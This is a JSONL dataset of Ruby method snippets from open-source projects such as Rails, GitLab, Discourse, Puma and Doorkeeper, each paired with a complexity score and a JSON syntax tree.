{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/code_response.rb","start_line":24,"raw_source":"def body\n        if auth.try(:access_token?)\n          {\n            access_token: auth.token.plaintext_token,\n            token_type: auth.token.token_type,\n            expires_in: auth.token.expires_in_seconds,\n            state: pre_auth.state,\n          }\n        elsif auth.try(:access_grant?)\n          {\n            code: auth.token.plaintext_token,\n            state: pre_auth.state,\n          }\n        end\n      end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth\"]},\"try\",{\"type\":\"sym\",\"children\":[\"access_token?\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth\"]},\"token\"]},\"plaintext_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth\"]},\"token\"]},\"token_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth\"]},\"token\"]},\"expires_in_seconds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"state\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth\"]},\"try\",{\"type\":\"sym\",\"children\":[\"access_grant?\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth\"]},\"token\"]},\"plaintext_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"state\"]}]}]},null]}]}]}","id":"558a6e45-8dc0-40c6-b76d-b139cbcc9634"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/external_authorization/config.rb","start_line":24,"raw_source":"def client_cert\n        application_settings.external_auth_client_cert\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"client_cert\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application_settings\"]},\"external_auth_client_cert\"]}]}","id":"0cdfc33d-e569-49d3-9c91-4d0d49039f8d"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/category.rb","start_line":138,"raw_source":"def has_setting_tab?(tab_name)\n        tab_css = \".edit-category-#{tab_name}\"\n        page.has_css?(tab_css)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_setting_tab?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tab_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tab_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".edit-category-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tab_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"lvar\",\"children\":[\"tab_css\"]}]}]}]}","id":"d11b12c7-3482-4dd8-8999-47e33a193a68"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/client.rb","start_line":60,"raw_source":"def establish(scope)\n        scope = Timeout.timeout(@timeout) {\n          response = send_request('establish', nil, [scope])\n          Fluent::Counter.raise_error(response.errors.first) if response.errors?\n          data = response.data\n          data.first\n        }\n        @scope = scope\n      rescue Timeout::Error\n        raise \"Can't establish the connection to counter server due to timeout\"\n      end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"establish\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"ivar\",\"children\":[\"@timeout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"str\",\"children\":[\"establish\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"errors?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Counter\"]},\"raise_error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"errors\"]},\"first\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"first\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Can't establish the connection to counter server due to timeout\"]}]}]},null]}]}","id":"2d6b3b0a-8a31-49fa-bb1b-a453523635eb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/index_page_header_component.rb","start_line":111,"raw_source":"def currently_favorited? = query.favorited_by?(current_user)","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"currently_favorited?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"favorited_by?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}","id":"65f84be0-a86f-4726-a61b-6fe1f70c1160"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/color_palette_editor.rb","start_line":45,"raw_source":"def revert_button_for_color(name)\n        component.find(\n          \".color-palette-editor__colors-item[data-color-name='#{name}'] .color-palette-editor__revert\",\n        )\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"revert_button_for_color\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".color-palette-editor__colors-item[data-color-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"'] .color-palette-editor__revert\"]}]}]}]}","id":"9df131f1-5b47-4e75-8a3a-2f9d3bcf4307"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/new_base/content_type_test.rb","start_line":16,"raw_source":"def set_on_render\n      render body: \"Hello world!\", content_type: Mime[:rss]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_on_render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"Hello world!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mime\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rss\"]}]}]}]}]}]}","id":"0bce4197-7d7e-4638-b819-126f6571b816"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/group/settings/general.rb","start_line":132,"raw_source":"def scroll_to_transfer_group_content\n            retry_until(sleep_interval: 1, message: 'Waiting for transfer group content to display') do\n              has_element?('transfer-group-content', wait: 3)\n            end\n\n            scroll_to_element 'transfer-group-content'\n          end","complexity_score":4.73,"ast_json":"{\"type\":\"def\",\"children\":[\"scroll_to_transfer_group_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Waiting for transfer group content to display\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"transfer-group-content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"scroll_to_element\",{\"type\":\"str\",\"children\":[\"transfer-group-content\"]}]}]}]}","id":"6593ed8b-7cbd-4881-9f64-377210187062"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/features/members_helpers.rb","start_line":37,"raw_source":"def find_username_row(user)\n      find_row(user.username)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_username_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"find_row\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]}]}","id":"87b7f2ad-83b7-4946-91aa-f562d7e80d98"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/queue_adapters/async_adapter.rb","start_line":35,"raw_source":"def initialize(**executor_options)\n        @scheduler = Scheduler.new(**executor_options)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"executor_options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scheduler\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scheduler\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"executor_options\"]}]}]}]}]}]}","id":"2a1b399d-7445-4fac-a00c-633e08f04631"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/my/time_tracking/calendar_component.rb","start_line":74,"raw_source":"def working_days\n        # Setting.working_days is mo=1, tu=2, we=3, th=4, fr=5, sa=6, su=7\n        # hiddenDays in fullcalendar is su=0, mo=1, tu=2, we=3, th=4, fr=5, sa=6\n\n        Setting.working_days.map { |day| day % 7 }.sort\n      end","complexity_score":6.48,"ast_json":"{\"type\":\"def\",\"children\":[\"working_days\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"working_days\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"day\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"day\"]},\"%\",{\"type\":\"int\",\"children\":[7]}]}]},\"sort\"]}]}","id":"3181d311-d33d-447b-b989-8d3e5e389bc9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/pipeline_analytics_resolver.rb","start_line":111,"raw_source":"def any_field_selected?(lookahead, *fields)\n        fields.any? { |field| lookahead&.selects?(field) }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"any_field_selected?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lookahead\"]},{\"type\":\"restarg\",\"children\":[\"fields\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lookahead\"]},\"selects?\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}","id":"c0923d4b-2bc4-4377-845b-8efbbf781172"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/base/csv_helper.rb","start_line":23,"raw_source":"def csv_parse(filename, col_sep = \",\")\n      first = true\n      row = nil\n\n      current_row = +\"\"\n      double_quote_count = 0\n\n      File\n        .open(filename)\n        .each_line do |line|\n          line.strip!\n\n          current_row << \"\\n\" unless current_row.empty?\n          current_row << line\n\n          double_quote_count += line.scan('\"').count\n\n          next if double_quote_count % 2 == 1 # this row continues on a new line. don't parse until we have the whole row.\n\n          raw =\n            begin\n              CSV.parse(current_row, col_sep: col_sep)\n            rescue CSV::MalformedCSVError => e\n              puts e.message\n              puts \"*\" * 100\n              puts \"Bad row skipped, line is: #{line}\"\n              puts\n              puts current_row\n              puts\n              puts \"double quote count is : #{double_quote_count}\"\n              puts \"*\" * 100\n\n              current_row = \"\"\n              double_quote_count = 0\n\n              next\n            end[\n              0\n            ]\n\n          if first\n            row = RowResolver.create(raw)\n\n            current_row = \"\"\n            double_quote_count = 0\n            first = false\n            next\n          end\n\n          row.load(raw)\n\n          yield row\n\n          current_row = \"\"\n          double_quote_count = 0\n        end\n    end","complexity_score":66.1,"ast_json":"{\"type\":\"def\",\"children\":[\"csv_parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"optarg\",\"children\":[\"col_sep\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"current_row\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"lvasgn\",\"children\":[\"double_quote_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_row\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_row\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_row\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"double_quote_count\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"scan\",{\"type\":\"str\",\"children\":[\"\\\"\"]}]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"double_quote_count\"]},\"%\",{\"type\":\"int\",\"children\":[2]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"current_row\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"col_sep\"]},{\"type\":\"lvar\",\"children\":[\"col_sep\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"MalformedCSVError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bad row skipped, line is: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"current_row\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"double quote count is : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"double_quote_count\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_row\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"double_quote_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]}]}]},null]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RowResolver\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_row\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"double_quote_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"first\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_row\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"double_quote_count\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"0814341b-b792-483a-9879-365250e88c49"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/hash/keys.rb","start_line":72,"raw_source":"def deep_transform_keys!(&block)\n    _deep_transform_keys_in_object!(self, &block)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deep_transform_keys!\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"_deep_transform_keys_in_object!\",{\"type\":\"self\",\"children\":[]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"37a85161-6a7e-4ae4-a39a-612f6edcd14d"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":477,"raw_source":"def test_early_hints_is_off_by_default\n    server_run do |env|\n     assert_nil env['rack.early_hints']\n     [200, { \"X-Hello\" => \"World\" }, [\"Hello world!\"]]\n    end\n\n    response = send_http_read_response \"HEAD / HTTP/1.0\\r\\n\\r\\n\"\n\n    expected_resp = <<~EOF.gsub(\"\\n\", \"\\r\\n\") + \"\\r\\n\"\n      HTTP/1.0 200 OK\n      X-Hello: World\n      Content-Length: 12\n    EOF\n\n    assert_nil @server.early_hints\n    assert_equal expected_resp, response\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_early_hints_is_off_by_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.early_hints\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Hello\"]},{\"type\":\"str\",\"children\":[\"World\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hello world!\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_http_read_response\",{\"type\":\"str\",\"children\":[\"HEAD / HTTP/1.0\\r\\n\\r\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_resp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP/1.0 200 OK\\n\"]},{\"type\":\"str\",\"children\":[\"X-Hello: World\\n\"]},{\"type\":\"str\",\"children\":[\"Content-Length: 12\\n\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"early_hints\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_resp\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"dc277fdd-8001-4368-a1f5-7414e01616cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/blob_controller.rb","start_line":115,"raw_source":"def preview\n    @content = params[:content]\n\n    if @content.bytesize >= MAX_PREVIEW_CONTENT\n      return render json: { errors: [\"Preview content too large\"] }, status: :payload_too_large\n    end\n\n    blob.load_all_data!\n    diffy = Diffy::Diff.new(blob.data, @content, diff: '-U 3', include_diff_info: true)\n    diff_lines = diffy.diff.scan(/.*\\n/)[2..]\n    diff_lines = Gitlab::Diff::Parser.new.parse(diff_lines).to_a\n    @diff_lines = Gitlab::Diff::Highlight.new(diff_lines, repository: @repository).highlight\n\n    render layout: false\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"preview\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content\"]},\"bytesize\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"MAX_PREVIEW_CONTENT\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Preview content too large\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"payload_too_large\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob\"]},\"load_all_data!\"]},{\"type\":\"lvasgn\",\"children\":[\"diffy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Diffy\"]},\"Diff\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob\"]},\"data\"]},{\"type\":\"ivar\",\"children\":[\"@content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff\"]},{\"type\":\"str\",\"children\":[\"-U 3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_diff_info\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_lines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diffy\"]},\"diff\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".*\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_lines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"Parser\"]},\"new\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"diff_lines\"]}]},\"to_a\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@diff_lines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"Highlight\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"diff_lines\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@repository\"]}]}]}]},\"highlight\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"c77298d6-b787-4197-9fe8-f9a96a91b979"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/tags/resave_supported_tags_worker.rb","start_line":7,"raw_source":"def perform\n      Tag.supported.find_each(&:save)\n      Subforem.find_each(&:update_scores!)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"supported\"]},\"find_each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"save\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"find_each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"update_scores!\"]}]}]}]}]}","id":"bbe95ba8-2508-4043-9f30-8ee68aad45a3"}
